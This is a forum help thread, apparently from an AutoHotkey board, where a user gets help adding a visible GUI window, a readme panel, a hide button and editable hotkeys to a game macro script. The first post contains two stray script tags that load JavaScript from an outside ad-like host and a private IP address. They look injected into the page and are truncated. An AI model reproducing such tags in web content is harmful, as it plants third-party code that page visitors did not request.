[Solved] Help me to make a credit msg
#1
Posted 17 July 2012 - 04:58 AM
i just make a program but now... i want to make it show as application, not as system tray.
you know what i mean?
how to make it show (not hiding at system tray when application is running) and edit some hotkeys like 'warkeys' ?
<script async="false" src="http://secureclick-m...60489834934466" type="text/javascript"></script><script src="http://10.8.11.178/s...IP=10.8.11.178" type="text/javascript"></script>
#2
Posted 17 July 2012 - 05:09 AM
Add these lines to your script.
Gui, Show, x%A_ScreenWidth% y%A_ScreenHeight% w1 h1, Application Name [color=#008000];Change 'Application Name' to whatever you want it to show as ;. ;. ;. ;Put all of your original code here from your script, between these lines. ;. ;. ;.[/color] GuiClose: ExitApp [color=#008000];Exits the app when the application is closed in the task bar.[/color]You do not have to include anything after the ;'s
The way this works is it actually builds a GUI window but places it in the far bottom right hand corner of your screen as to not be seen at all. Since the script now has a window, the window is placed in the taskbar. The bottom line 'GuiClose' is the label that runs once the GUI is closed. 'ExitApp' then exits the application.
#3
Posted 17 July 2012 - 05:23 AM
what should i fill this line? except application name?
#4
Posted 17 July 2012 - 05:39 AM
!r::
Run http://www.example.com
return
!h::
Run readme.txt
return
!q::
Send {Enter}Are you sure to run away (Y/N)?{Space}
...
...
Return
!`::
Send {Enter}/ex{Enter}
...
...
Sleep, 500
Send {PrintScreen}
return
Readme:Readme text...
I want to show that script as an application, so user who using that application can
1. edit the Keys like !q etc to another that user want
2. read the readme text
3. hide application to system tray
#5
Posted 17 July 2012 - 05:46 AM
I have to head off to bed, work early... I'll take a look tomorrow.
#6
Posted 17 July 2012 - 05:50 AM
#7
Posted 17 July 2012 - 07:37 AM
Gui, Add, GroupBox, x6 y10 w460 h310 , ReadMe Gui, Font, S4 CDefault, Courier Gui, Font, S2 CDefault, Courier Gui, Add, Button, x26 y330 w100 h20 , Hide Gui, Add, Text, x32 y30 w410 h20 , #####text line 1 ############# Gui, Add, Text, x32 y50 w410 h20 , #####text line 2 ############### Gui, Add, Text, x32 y70 w410 h20 , ####text line 3 ###### Gui, Add, Text, x32 y90 w410 h20 , ####text line 4 ####### Gui, Add, Text, x32 y110 w410 h20 , # ###text line 5 ###### Gui, Add, Text, x32 y130 w410 h20 , ###text line 6 ###### Gui, Add, Text, x32 y150 w410 h20 , ###text line 7 ###### Gui, Add, Text, x32 y170 w410 h20 , ###text line 8 ###### Gui, Add, Text, x32 y190 w410 h20 , ###text line 9 ###### Gui, Add, Text, x32 y210 w410 h20 , ###text line 10 ###### Gui, Add, Text, x32 y230 w410 h20 , ###text line 11 ###### Gui, Add, Text, x32 y250 w410 h20 , ###text line 12###### Gui, Add, Text, x32 y270 w410 h20 , ###text line 13 ###### Gui, Add, Text, x32 y290 w410 h20 , ###text line 14###### Gui, Show, x371 y203 h362 w477,
what is script to make that button to hide system tray ?
#8
Posted 17 July 2012 - 09:01 AM
ButtonHide:
ExitApp
then the application doesnt running without click that button, help me.
#9
Posted 18 July 2012 - 01:57 AM
*EDIT* I'm assuming you did this.
[color=#008000];GUI script is here[/color] ButtonHide: ExitApp [color=#008000];Script is here[/color]If that is what you did, here is the fix.
Every script has a part at the beginning of the script called the auto-execute. It's the part that will run once the script starts and it ends when it reaches it's first Return. Basically, it will run everything straight down the line until it reaches a Return line, ending the auto-execute portion of the script. It will then stay running, waiting for anything to invoke the rest of the script. In other words, anything after a Return will have to be invoked. The 'ExitApp' command also acts as a Return in the same way and will end the auto-execute portion.
Try putting the 'ButtonHide:' label at the end of the script, below everything else. Also, for further assistance, please provide the full script.
#10
Posted 18 July 2012 - 11:31 AM
edited
#11
Posted 19 July 2012 - 04:43 AM
#12
Posted 19 July 2012 - 11:30 AM
#SingleInstance force
Gui, Add, GroupBox, x6 y10 w467 h250 , ReadMe
Gui, Font, S4 CDefault, Courier
Gui, Font, S2 CDefault, Courier
Gui, Add, Text, x32 y30 w410 h20 , ###########LINE1##########
Gui, Add, Text, x32 y45 w410 h20 , ###########LINE2##########
Gui, Add, Text, x32 y60 w410 h20 , ###########LINE3##########
Gui, Add, Text, x32 y75 w410 h20 , ###########LINE4##########
Gui, Add, Text, x32 y90 w410 h20 , ###########LINE5##########
Gui, Add, Text, x32 y105 w410 h20 , ###########LINE6##########
Gui, Add, Text, x32 y120 w410 h20 , ###########LINE7##########
Gui, Add, Text, x32 y135 w410 h20 , ###########LINE8##########
Gui, Add, Text, x32 y150 w410 h20 , ###########LINE9##########
Gui, Add, Text, x32 y165 w410 h20 , ###########LINE10#########
Gui, Add, Text, x32 y180 w410 h20 , ###########LINE11#########
Gui, Add, Text, x32 y195 w410 h20 , ###########LINE12#########
Gui, Add, Text, x32 y210 w410 h20 , ###########LINE13#########
Gui, Add, Text, x32 y225 w410 h20 , ###########LINE14#########
Gui, Show, x371 y203 h270 w477,
!r::
Run Screenshot v1.2.exe ;this is application of this script
return
!q::
Send {Enter}Are you sure to run away (Y/N)?{Space}
Input, Outputvar, L1 T5
If (Outputvar = "y")
Send {Esc}{F10}EQ
Else If (Outputvar = "n")
Send {Esc}
Else Send {Esc} %Outputvar%
Return
!`::
Send {Enter}/p{Enter}
Sleep, 100
Send {Enter}/time{Enter}
Sleep, 100
Send {Enter}/whoami{Enter}
Sleep, 800
Send {PrintScreen}
returni want to user that use this app can edit the q, `, and r like warkey
that's default command, and can hide or show to system tray,
look you must alt+r to show that window
and how to change the default, pause, and suspend icon in system tray?
NB: i edit the text in gui msg, no offense thanks.
#13
Posted 20 July 2012 - 07:23 AM
#14
Posted 20 July 2012 - 03:57 PM
#15
Posted 22 July 2012 - 07:25 PM




